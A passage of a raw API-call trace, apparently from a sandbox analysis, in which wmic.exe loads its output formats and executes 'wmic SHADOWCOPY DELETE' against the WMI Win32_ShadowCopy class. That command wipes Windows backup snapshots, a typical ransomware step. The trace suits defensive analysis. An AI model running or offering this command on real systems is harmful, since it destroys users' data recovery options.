varVal2=0x0), isSuccessful=0x44bcc7fae0 | out: isSuccessful=0x44bcc7fae0*=0xffff) returned 0x0 [0086.485] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x1a702326f20, DOMElement=0x44bcc7f938 | out: DOMElement=0x44bcc7f938*=0x1a7023294b0) returned 0x0 [0086.490] malloc (_Size=0x18) returned 0x1a70258b300 [0086.491] free (_Block=0x1a70258b300) [0086.491] malloc (_Size=0x18) returned 0x1a70258b120 [0086.492] free (_Block=0x1a70258b120) [0086.492] malloc (_Size=0x18) returned 0x1a70258b260 [0086.492] malloc (_Size=0x18) returned 0x1a70258b080 [0086.492] malloc (_Size=0x30) returned 0x1a70258a420 [0086.492] malloc (_Size=0x18) returned 0x1a70258b140 [0086.492] free (_Block=0x1a70258b140) [0086.492] malloc (_Size=0x18) returned 0x1a70258b360 [0086.492] malloc (_Size=0x18) returned 0x1a70258b0a0 [0086.492] SysStringLen (param_1="VALUE") returned 0x5 [0086.492] SysStringLen (param_1="TABLE") returned 0x5 [0086.492] SysStringLen (param_1="TABLE") returned 0x5 [0086.492] SysStringLen (param_1="VALUE") returned 0x5 [0086.492] malloc (_Size=0x30) returned 0x1a70258a8e0 [0086.493] malloc (_Size=0x18) returned 0x1a70258b120 [0086.493] free (_Block=0x1a70258b120) [0086.493] malloc (_Size=0x18) returned 0x1a70258b2c0 [0086.493] malloc (_Size=0x18) returned 0x1a70258b1a0 [0086.493] SysStringLen (param_1="LIST") returned 0x4 [0086.493] SysStringLen (param_1="TABLE") returned 0x5 [0086.493] malloc (_Size=0x30) returned 0x1a70258a460 [0086.493] malloc (_Size=0x18) returned 0x1a70258b2e0 [0086.493] free (_Block=0x1a70258b2e0) [0086.493] malloc (_Size=0x18) returned 0x1a70258b140 [0086.493] malloc (_Size=0x18) returned 0x1a70258b1c0 [0086.493] SysStringLen (param_1="RAWXML") returned 0x6 [0086.493] SysStringLen (param_1="TABLE") returned 0x5 [0086.493] SysStringLen (param_1="RAWXML") returned 0x6 [0086.493] SysStringLen (param_1="LIST") returned 0x4 [0086.494] SysStringLen (param_1="LIST") returned 0x4 [0086.494] SysStringLen (param_1="RAWXML") returned 0x6 [0086.494] malloc (_Size=0x30) returned 0x1a70258a8a0 [0086.494] malloc (_Size=0x18) returned 0x1a70258b1e0 [0086.494] free (_Block=0x1a70258b1e0) [0086.494] malloc (_Size=0x18) returned 0x1a70258b400 [0086.494] malloc (_Size=0x18) returned 0x1a70258b3c0 [0086.494] SysStringLen (param_1="HTABLE") returned 0x6 [0086.494] SysStringLen (param_1="TABLE") returned 0x5 [0086.494] SysStringLen (param_1="HTABLE") returned 0x6 [0086.494] SysStringLen (param_1="LIST") returned 0x4 [0086.494] malloc (_Size=0x30) returned 0x1a70258a4e0 [0086.494] malloc (_Size=0x18) returned 0x1a70258b160 [0086.494] free (_Block=0x1a70258b160) [0086.494] malloc (_Size=0x18) returned 0x1a70258b0c0 [0086.494] malloc (_Size=0x18) returned 0x1a70258b0e0 [0086.495] SysStringLen (param_1="HFORM") returned 0x5 [0086.495] SysStringLen (param_1="TABLE") returned 0x5 [0086.495] SysStringLen (param_1="HFORM") returned 0x5 [0086.495] SysStringLen (param_1="LIST") returned 0x4 [0086.495] SysStringLen (param_1="HFORM") returned 0x5 [0086.495] SysStringLen (param_1="HTABLE") returned 0x6 [0086.495] malloc (_Size=0x30) returned 0x1a70258a960 [0086.495] malloc (_Size=0x18) returned 0x1a70258b180 [0086.495] free (_Block=0x1a70258b180) [0086.495] malloc (_Size=0x18) returned 0x1a70258b1e0 [0086.495] malloc (_Size=0x18) returned 0x1a70258b2e0 [0086.495] SysStringLen (param_1="XML") returned 0x3 [0086.495] SysStringLen (param_1="TABLE") returned 0x5 [0086.495] SysStringLen (param_1="XML") returned 0x3 [0086.495] SysStringLen (param_1="VALUE") returned 0x5 [0086.495] SysStringLen (param_1="VALUE") returned 0x5 [0086.495] SysStringLen (param_1="XML") returned 0x3 [0086.495] malloc (_Size=0x30) returned 0x1a70258aaa0 [0086.495] malloc (_Size=0x18) returned 0x1a70258b3e0 [0086.496] free (_Block=0x1a70258b3e0) [0086.496] malloc (_Size=0x18) returned 0x1a70258b300 [0086.496] malloc (_Size=0x18) returned 0x1a70258b320 [0086.496] SysStringLen (param_1="MOF") returned 0x3 [0086.496] SysStringLen (param_1="TABLE") returned 0x5 [0086.496] SysStringLen (param_1="MOF") returned 0x3 [0086.496] SysStringLen (param_1="LIST") returned 0x4 [0086.496] SysStringLen (param_1="MOF") returned 0x3 [0086.496] SysStringLen (param_1="RAWXML") returned 0x6 [0086.496] SysStringLen (param_1="LIST") returned 0x4 [0086.496] SysStringLen (param_1="MOF") returned 0x3 [0086.496] malloc (_Size=0x30) returned 0x1a70258a7e0 [0086.496] malloc (_Size=0x18) returned 0x1a70258b200 [0086.496] free (_Block=0x1a70258b200) [0086.496] malloc (_Size=0x18) returned 0x1a70258b200 [0086.496] malloc (_Size=0x18) returned 0x1a70258b220 [0086.496] SysStringLen (param_1="CSV") returned 0x3 [0086.496] SysStringLen (param_1="TABLE") returned 0x5 [0086.496] SysStringLen (param_1="CSV") returned 0x3 [0086.496] SysStringLen (param_1="LIST") returned 0x4 [0086.496] SysStringLen (param_1="CSV") returned 0x3 [0086.496] SysStringLen (param_1="HTABLE") returned 0x6 [0086.496] SysStringLen (param_1="CSV") returned 0x3 [0086.496] SysStringLen (param_1="HFORM") returned 0x5 [0086.497] malloc (_Size=0x30) returned 0x1a70258a920 [0086.497] malloc (_Size=0x18) returned 0x1a70258b180 [0086.497] free (_Block=0x1a70258b180) [0086.497] malloc (_Size=0x18) returned 0x1a70258b380 [0086.497] malloc (_Size=0x18) returned 0x1a70258b340 [0086.497] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.497] SysStringLen (param_1="TABLE") returned 0x5 [0086.497] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.497] SysStringLen (param_1="VALUE") returned 0x5 [0086.497] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.497] SysStringLen (param_1="XML") returned 0x3 [0086.497] SysStringLen (param_1="XML") returned 0x3 [0086.497] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.497] malloc (_Size=0x30) returned 0x1a70258a9a0 [0086.497] malloc (_Size=0x18) returned 0x1a70258b180 [0086.497] free (_Block=0x1a70258b180) [0086.497] malloc (_Size=0x18) returned 0x1a70258b280 [0086.498] malloc (_Size=0x18) returned 0x1a70258b240 [0086.498] SysStringLen (param_1="texttablewsys") returned 0xd [0086.498] SysStringLen (param_1="TABLE") returned 0x5 [0086.498] SysStringLen (param_1="texttablewsys") returned 0xd [0086.498] SysStringLen (param_1="XML") returned 0x3 [0086.498] SysStringLen (param_1="texttablewsys") returned 0xd [0086.498] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.498] SysStringLen (param_1="XML") returned 0x3 [0086.498] SysStringLen (param_1="texttablewsys") returned 0xd [0086.498] malloc (_Size=0x30) returned 0x1a70258a520 [0086.498] malloc (_Size=0x18) returned 0x1a70258b3a0 [0086.498] free (_Block=0x1a70258b3a0) [0086.498] malloc (_Size=0x18) returned 0x1a70258b100 [0086.498] malloc (_Size=0x18) returned 0x1a70258b3a0 [0086.498] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.498] SysStringLen (param_1="TABLE") returned 0x5 [0086.498] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.498] SysStringLen (param_1="XML") returned 0x3 [0086.498] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.498] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.498] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.498] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.498] malloc (_Size=0x30) returned 0x1a70258a5e0 [0086.499] malloc (_Size=0x18) returned 0x1a70258b120 [0086.499] free (_Block=0x1a70258b120) [0086.499] malloc (_Size=0x18) returned 0x1a70258b120 [0086.499] malloc (_Size=0x18) returned 0x1a70258b3e0 [0086.499] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.499] SysStringLen (param_1="TABLE") returned 0x5 [0086.499] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.499] SysStringLen (param_1="XML") returned 0x3 [0086.499] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.499] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.499] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.499] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.499] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.499] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.499] malloc (_Size=0x30) returned 0x1a70258a860 [0086.499] malloc (_Size=0x18) returned 0x1a70258b160 [0086.499] free (_Block=0x1a70258b160) [0086.499] malloc (_Size=0x18) returned 0x1a70258b160 [0086.499] malloc (_Size=0x18) returned 0x1a70258b180 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] SysStringLen (param_1="TABLE") returned 0x5 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] SysStringLen (param_1="XML") returned 0x3 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.500] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] malloc (_Size=0x30) returned 0x1a70258ab20 [0086.500] malloc (_Size=0x18) returned 0x1a70258dc70 [0086.500] free (_Block=0x1a70258dc70) [0086.500] malloc (_Size=0x18) returned 0x1a70258dff0 [0086.500] malloc (_Size=0x18) returned 0x1a70258dcb0 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] SysStringLen (param_1="TABLE") returned 0x5 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] SysStringLen (param_1="XML") returned 0x3 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.500] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.500] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0086.500] malloc (_Size=0x30) returned 0x1a70258a560 [0086.501] malloc (_Size=0x18) returned 0x1a70258ddd0 [0086.501] free (_Block=0x1a70258ddd0) [0086.501] malloc (_Size=0x18) returned 0x1a70258e010 [0086.501] malloc (_Size=0x18) returned 0x1a70258d9f0 [0086.501] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.501] SysStringLen (param_1="TABLE") returned 0x5 [0086.501] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.501] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.501] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.501] SysStringLen (param_1="XML") returned 0x3 [0086.501] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.501] SysStringLen (param_1="texttablewsys") returned 0xd [0086.501] SysStringLen (param_1="XML") returned 0x3 [0086.501] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.501] malloc (_Size=0x30) returned 0x1a70258aae0 [0086.501] malloc (_Size=0x18) returned 0x1a70258dc10 [0086.501] free (_Block=0x1a70258dc10) [0086.502] malloc (_Size=0x18) returned 0x1a70258e030 [0086.502] malloc (_Size=0x18) returned 0x1a70258ddf0 [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] SysStringLen (param_1="TABLE") returned 0x5 [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] SysStringLen (param_1="XML") returned 0x3 [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] SysStringLen (param_1="texttablewsys") returned 0xd [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0086.502] SysStringLen (param_1="XML") returned 0x3 [0086.502] SysStringLen (param_1="htable-sortby") returned 0xd [0086.502] malloc (_Size=0x30) returned 0x1a70258a5a0 [0086.502] malloc (_Size=0x18) returned 0x1a70258dab0 [0086.502] free (_Block=0x1a70258dab0) [0086.502] malloc (_Size=0x18) returned 0x1a70258ddb0 [0086.502] malloc (_Size=0x18) returned 0x1a70258de90 [0086.502] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.502] SysStringLen (param_1="TABLE") returned 0x5 [0086.502] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.502] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.503] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.503] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.503] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.503] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.503] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.503] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.503] malloc (_Size=0x30) returned 0x1a70258ab60 [0086.503] malloc (_Size=0x18) returned 0x1a70258d8f0 [0086.503] free (_Block=0x1a70258d8f0) [0086.503] malloc (_Size=0x18) returned 0x1a70258db50 [0086.503] malloc (_Size=0x18) returned 0x1a70258dd90 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] SysStringLen (param_1="TABLE") returned 0x5 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0086.503] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.503] SysStringLen (param_1="wmiclimofformat") returned 0xf [0086.503] malloc (_Size=0x30) returned 0x1a70258a7a0 [0086.504] malloc (_Size=0x18) returned 0x1a70258db30 [0086.504] free (_Block=0x1a70258db30) [0086.504] malloc (_Size=0x18) returned 0x1a70258da10 [0086.504] malloc (_Size=0x18) returned 0x1a70258dbf0 [0086.504] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.504] SysStringLen (param_1="TABLE") returned 0x5 [0086.504] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.504] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.504] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.504] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.504] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.504] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.504] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.504] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.504] malloc (_Size=0x30) returned 0x1a70258aa60 [0086.504] malloc (_Size=0x18) returned 0x1a70258dc50 [0086.504] free (_Block=0x1a70258dc50) [0086.504] malloc (_Size=0x18) returned 0x1a70258da30 [0086.504] malloc (_Size=0x18) returned 0x1a70258d8b0 [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] SysStringLen (param_1="TABLE") returned 0x5 [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0086.505] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0086.505] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0086.505] malloc (_Size=0x30) returned 0x1a70258a9e0 [0086.647] FreeThreadedDOMDocument:IUnknown:Release (This=0x1a7023294b0) returned 0x1 [0086.647] FreeThreadedDOMDocument:IUnknown:Release (This=0x1a702326f20) returned 0x0 [0086.647] free (_Block=0x1a70258b2a0) [0086.647] GetCommandLineW () returned="wmic SHADOWCOPY DELETE" [0086.648] malloc (_Size=0x30) returned 0x1a70258a620 [0086.648] memcpy_s (in: _Destination=0x1a70258a620, _DestinationSize=0x2e, _Source=0x1a7023320fc, _SourceSize=0x2e | out: _Destination=0x1a70258a620) returned 0x0 [0086.648] malloc (_Size=0x18) returned 0x1a70258db10 [0086.648] malloc (_Size=0x18) returned 0x1a70258d910 [0086.648] malloc (_Size=0x18) returned 0x1a70258dc10 [0086.648] malloc (_Size=0x18) returned 0x1a70258dcf0 [0086.648] malloc (_Size=0x80) returned 0x1a70258b440 [0086.648] GetLocalTime (in: lpSystemTime=0x44bcc7fb58 | out: lpSystemTime=0x44bcc7fb58*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x3, wDay=0x8, wHour=0x6, wMinute=0x1a, wSecond=0x20, wMilliseconds=0x15f)) [0086.648] _vsnwprintf (in: _Buffer=0x1a70258b440, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x44bcc7fa08 | out: _Buffer="01-08-2020T06:26:32") returned 19 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] malloc (_Size=0x28) returned 0x1a702585fc0 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] malloc (_Size=0x28) returned 0x1a70258e070 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.648] malloc (_Size=0x16) returned 0x1a70258d930 [0086.648] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] _wcsicmp (_String1="SHADOWCOPY", _String2="\"NULL\"") returned 81 [0086.649] malloc (_Size=0x16) returned 0x1a70258df10 [0086.649] malloc (_Size=0x8) returned 0x1a70258e0a0 [0086.649] free (_Block=0x0) [0086.649] free (_Block=0x1a70258d930) [0086.649] lstrlenW (lpString=" SHADOWCOPY DELETE") returned 19 [0086.649] malloc (_Size=0xe) returned 0x1a70258d8d0 [0086.649] lstrlenW (lpString="DELETE") returned 6 [0086.649] _wcsicmp (_String1="DELETE", _String2="\"NULL\"") returned 66 [0086.649] malloc (_Size=0xe) returned 0x1a70258d930 [0086.649] malloc (_Size=0x10) returned 0x1a70258def0 [0086.649] memmove_s (in: _Destination=0x1a70258def0, _DestinationSize=0x8, _Source=0x1a70258e0a0, _SourceSize=0x8 | out: _Destination=0x1a70258def0) returned 0x0 [0086.649] free (_Block=0x1a70258e0a0) [0086.649] free (_Block=0x0) [0086.649] free (_Block=0x1a70258d8d0) [0086.649] malloc (_Size=0x10) returned 0x1a70258dc90 [0086.649] lstrlenW (lpString="QUIT") returned 4 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="QUIT", cchCount2=4) returned 3 [0086.649] lstrlenW (lpString="EXIT") returned 4 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="EXIT", cchCount2=4) returned 3 [0086.649] free (_Block=0x1a70258dc90) [0086.649] WbemLocator:IUnknown:AddRef (This=0x1a70234bb20) returned 0x2 [0086.649] malloc (_Size=0x10) returned 0x1a70258dbd0 [0086.649] lstrlenW (lpString="/") returned 1 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="/", cchCount2=1) returned 3 [0086.649] lstrlenW (lpString="-") returned 1 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="-", cchCount2=1) returned 3 [0086.649] lstrlenW (lpString="CLASS") returned 5 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.649] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CLASS", cchCount2=5) returned 3 [0086.649] lstrlenW (lpString="PATH") returned 4 [0086.649] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="PATH", cchCount2=4) returned 3 [0086.650] lstrlenW (lpString="CONTEXT") returned 7 [0086.650] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.650] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="SHADOWCOPY", cchCount1=10, lpString2="CONTEXT", cchCount2=7) returned 3 [0086.650] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.650] malloc (_Size=0x16) returned 0x1a70258ddd0 [0086.650] lstrlenW (lpString="SHADOWCOPY") returned 10 [0086.650] GetCurrentThreadId () returned 0xec4 [0086.650] ??0CHString@@QEAA@XZ () returned 0x44bcc7f8c0 [0086.650] malloc (_Size=0x18) returned 0x1a70258de10 [0086.650] malloc (_Size=0x18) returned 0x1a70258de50 [0086.650] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a70234bb20, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff640667898 | out: ppNamespace=0x7ff640667898*=0x1a7023a5ed0) returned 0x0 [0093.425] free (_Block=0x1a70258de50) [0093.425] free (_Block=0x1a70258de10) [0093.426] CoSetProxyBlanket (pProxy=0x1a7023a5ed0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0093.426] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0093.426] GetCurrentThreadId () returned 0xec4 [0093.426] ??0CHString@@QEAA@XZ () returned 0x44bcc7f758 [0093.426] malloc (_Size=0x18) returned 0x1a70258ded0 [0093.426] malloc (_Size=0x18) returned 0x1a70258de70 [0093.427] malloc (_Size=0x18) returned 0x1a70258da50 [0093.427] malloc (_Size=0x18) returned 0x1a70258de10 [0093.427] SysStringLen (param_1="root\\cli") returned 0x8 [0093.427] SysStringLen (param_1="\\") returned 0x1 [0093.427] malloc (_Size=0x18) returned 0x1a70258d8d0 [0093.427] SysStringLen (param_1="root\\cli\\") returned 0x9 [0093.427] SysStringLen (param_1="ms_409") returned 0x6 [0093.427] free (_Block=0x1a70258de10) [0093.427] free (_Block=0x1a70258da50) [0093.427] free (_Block=0x1a70258de70) [0093.427] free (_Block=0x1a70258ded0) [0093.427] malloc (_Size=0x18) returned 0x1a70258dfd0 [0093.427] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a70234bb20, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6406678a0 | out: ppNamespace=0x7ff6406678a0*=0x1a7023a6110) returned 0x0 [0095.925] free (_Block=0x1a70258dfd0) [0095.925] free (_Block=0x1a70258d8d0) [0095.925] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0095.925] GetCurrentThreadId () returned 0xec4 [0095.925] ??0CHString@@QEAA@XZ () returned 0x44bcc7f8d8 [0095.925] malloc (_Size=0x18) returned 0x1a70258dcd0 [0095.925] malloc (_Size=0x18) returned 0x1a70258dab0 [0095.925] malloc (_Size=0x18) returned 0x1a70258d8d0 [0095.925] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0095.925] malloc (_Size=0x3a) returned 0x1a70258eb60 [0095.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff64064ac40, cbMultiByte=-1, lpWideCharStr=0x1a70258eb60, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0095.925] free (_Block=0x1a70258eb60) [0095.925] malloc (_Size=0x18) returned 0x1a70258db70 [0095.925] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0095.925] SysStringLen (param_1="SHADOWCOPY") returned 0xa [0095.925] malloc (_Size=0x18) returned 0x1a70258df70 [0095.925] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='SHADOWCOPY") returned 0x26 [0095.926] SysStringLen (param_1="'") returned 0x1 [0095.926] free (_Block=0x1a70258db70) [0095.926] free (_Block=0x1a70258d8d0) [0095.926] free (_Block=0x1a70258dab0) [0095.926] free (_Block=0x1a70258dcd0) [0095.926] IWbemServices:GetObject (in: This=0x1a7023a5ed0, strObjectPath="MSFT_CliAlias.FriendlyName='SHADOWCOPY'", lFlags=0, pCtx=0x0, ppObject=0x44bcc7f800*=0x0, ppCallResult=0x0 | out: ppObject=0x44bcc7f800*=0x1a7023b7090, ppCallResult=0x0) returned 0x0 [0096.022] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.022] IWbemClassObject:Get (in: This=0x1a7023b7090, wszName="Target", lFlags=0, pVal=0x44bcc7f818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f818*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.023] free (_Block=0x1a70258d8d0) [0096.023] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.023] malloc (_Size=0x3e) returned 0x1a70258eb60 [0096.023] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.023] malloc (_Size=0x18) returned 0x1a70258df50 [0096.023] IWbemClassObject:Get (in: This=0x1a7023b7090, wszName="PWhere", lFlags=0, pVal=0x44bcc7f818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f818*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.023] free (_Block=0x1a70258df50) [0096.023] lstrlenW (lpString=" Where ID = '#'") returned 15 [0096.023] malloc (_Size=0x20) returned 0x1a70258ebb0 [0096.023] lstrlenW (lpString=" Where ID = '#'") returned 15 [0096.023] malloc (_Size=0x18) returned 0x1a70258de10 [0096.023] IWbemClassObject:Get (in: This=0x1a7023b7090, wszName="Connection", lFlags=0, pVal=0x44bcc7f818*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f818*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a7023b7340, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.023] free (_Block=0x1a70258de10) [0096.023] IUnknown:QueryInterface (in: This=0x1a7023b7340, riid=0x7ff640650598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x44bcc7f808 | out: ppvObject=0x44bcc7f808*=0x1a7023b7340) returned 0x0 [0096.023] GetCurrentThreadId () returned 0xec4 [0096.023] ??0CHString@@QEAA@XZ () returned 0x44bcc7f728 [0096.023] malloc (_Size=0x18) returned 0x1a70258d9d0 [0096.023] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="Namespace", lFlags=0, pVal=0x44bcc7f730*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, 